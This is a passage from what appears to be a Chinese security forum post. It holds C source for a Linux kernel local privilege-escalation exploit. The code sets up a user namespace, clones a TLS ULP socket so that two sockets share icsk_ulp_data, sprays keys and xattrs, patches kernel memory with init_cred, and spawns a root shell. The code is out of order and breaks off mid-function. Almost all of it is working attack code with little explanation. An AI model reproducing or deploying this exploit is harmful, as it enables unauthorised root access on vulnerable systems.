    memcpy(p+0xbbd, "\x48\xbf", 2);
    memcpy(p+0xbbd+2, &init_cred, 8);
     
 
 
//=============================================== patch kfree ===========================================================
    data2[0] = ker_base[0] + 0xffffffff811d4000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    p = page;
    memset(p+0x200, 0xc3, 2);
//===========================================================================================================================
 
    int end_pfd = pagealloc_pad(33, 0x1000);
    printf("end_pfd == %d\n", end_pfd);
     
    setresuid(0, 0, 0);
    system("/bin/sh");
     
    while(1){
        ;
    }
 
     
     
}
#define _GNU_SOURCE
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <string.h>
#include <byteswap.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
 
#include "netlink_utils.h"
 
#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
 
#define N_NET_INTERFACES 0x1800
 
int tls1, tls2, tls3, tls4;
 
int net_if(int action, char *type, int n, int opt, bool change);
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
 
    char edit[0x200];
    int tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
    return 0;
}
 
 
int net_if(int action, char *type, int n, int opt, bool change) {
 
    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;
 
    strcpy(name, type);
 
    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);
 
    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }
 
    switch (action) {
        case ADD_LINK:
        case DEL_LINK:
 
            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;
 
            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
 
            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }
 
            break;
 
        case ADD_ADDR:
        case DEL_ADDR:
 
            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);
 
            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
 
            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}
 
int tls1, tls2;
int set_ulp(int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int tls, s, s2;
 
    tls = socket(AF_INET, SOCK_STREAM, 0);
    s = socket(AF_INET, SOCK_STREAM, 0);
 
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
 
    // Put the socket into ESTABLISHED state
    if(bind(s, &addr, sizeof(addr)) < 0){
        perror("bind");
        exit(-1);
    }
 
    if(listen(s, 0) < 0){
        perror("listen");
        exit(-1);
    }
 
    if(connect(tls, &addr, sizeof(addr)) < 0){
        perror("connect");
        exit(-1);
    }
 
    // Initialize TLS ULP
    if(setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0){
        perror("set ulp");
    }
 
    return tls;
}
 
int clone_tls(int tls, int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int s, new;
 
    s = socket(AF_INET, SOCK_STREAM, 0);
 
 
    // Disconnect the input socket `sk`
    addr.sin_family = AF_UNSPEC;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
 
    connect(tls, &addr, sizeof(addr)); //为什么要先连接一下才能bind?
 
    // Listen on `sk` (This should not happen!)
    addr.sin_family = AF_INET;
    if(bind(tls, &addr, sizeof(addr)) < 0){
        perror("bind2");
        exit(-1);
    }
    if(listen(tls, 0) < 0){
        perror("listen2");
        exit(-1);
    }
    if(connect(s, &addr, sizeof(addr)) < 0 ){
        perror("connect2");
        exit(-1);
    }
 
    // Clone icsk_ulp_data
    new = accept(tls, &addr, &len);
 
    // Now the input socket `sk` and `new`
    // share the same icsk_ulp_data pointer
    return new;
}
 
#include "key.h"
#define TOTAL_KEYS 60
int kids[TOTAL_KEYS];
void spray_key(int times, int len){
    char des[0x100];
    memset(des, 0, sizeof(des));
    char pay[0x200];
    memset(pay, 0, sizeof(pay));
    for(int i = 0; i < TOTAL_KEYS && i < times; i++){
        memset(des, 'A'+i, 0x80);
        memset(pay, 'a'+i, len);
        kids[i] = key_alloc(des, pay, len);
        printf("kid_%d == %d\n", i, kids[i]);
    }
}
 
#include <sys/types.h>
#include <sys/xattr.h>
 
void spray_attr(int times, int size){
    const char *path = "/path/to/file";
    const char *name = "user.attribute";
    const char *value = "value";
    int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
 
    for(int i = 0; i < times; i++){
        setxattr(path, name, value, size, flags);

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-8-28 14:23 被mb_btcapvow编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//